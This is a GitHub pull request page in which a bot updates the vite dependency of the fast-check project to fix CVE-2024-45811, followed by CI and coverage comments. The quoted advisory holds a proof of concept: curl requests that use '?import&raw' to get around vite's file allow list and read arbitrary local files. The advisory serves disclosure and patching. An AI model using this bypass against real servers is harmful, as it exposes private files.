Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

⬆️ Update dependency vite to v5.4.6 [SECURITY] #5261

Merged
merged 1 commit into from
Sep 17, 2024
Merged

⬆️ Update dependency vite to v5.4.6 [SECURITY] #5261

merged 1 commit into from
Sep 17, 2024

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Sep 17, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) 5.4.2 -> 5.4.6 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Release Notes

vitejs/vite (vite)

v5.4.6

Compare Source

Please refer to CHANGELOG.md for details.

v5.4.5

Compare Source

Please refer to CHANGELOG.md for details.

v5.4.4

Compare Source

Please refer to CHANGELOG.md for details.

v5.4.3

Compare Source

@renovate renovate bot requested a review from dubzzz as a code owner September 17, 2024 19:26
@renovate renovate bot added the dependencies Pull requests that update a dependency file label Sep 17, 2024
@changeset-bot changeset-bot
Copy link

changeset-bot bot commented Sep 17, 2024

⚠️ No Changeset found

Latest commit: 3cfe6d3

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@codesandbox-ci CodeSandbox CI
Copy link

This pull request is automatically built and testable in CodeSandbox.

To see build info of the built libraries, click here or the icon next to each commit SHA.

Latest deployment of this branch, based on commit 3cfe6d3:

Sandbox Source
@fast-check/examples Configuration

@github-actions GitHub Actions
Copy link
Contributor

👋 A preview of the new documentation is available at: http://66e9d8d35c98a7646805d438--dubzzz-fast-check.netlify.app

@codecov Codecov
Copy link

codecov bot commented Sep 17, 2024 •
edited
Loading

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 95.32%. Comparing base (58798b8) to head (3cfe6d3).
Report is 2 commits behind head on main.

Additional details and impacted files 
@@           Coverage Diff           @@
##             main    #5261   +/-   ##
=======================================
  Coverage   95.32%   95.32%           
=======================================
  Files         234      234           
  Lines       10414    10414           
  Branches     2774     2774           
=======================================
  Hits         9927     9927           
  Misses        487      487
Flag Coverage Δ
unit-tests 95.32% <ø> (ø)
unit-tests-18.x-Linux 95.32% <ø> (ø)
unit-tests-20.x-Linux 95.32% <ø> (ø)
unit-tests-22.x-Linux 95.32% <ø> (ø)
unit-tests-latest-Linux 95.32% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

@dubzzz dubzzz merged commit 85d21d3 into main Sep 17, 2024
73 checks passed
@dubzzz dubzzz deleted the renovate/npm-vite-vulnerability branch September 17, 2024 21:35
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@dubzzz dubzzz dubzzz approved these changes

Assignees
No one assigned
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
1 participant
@dubzzz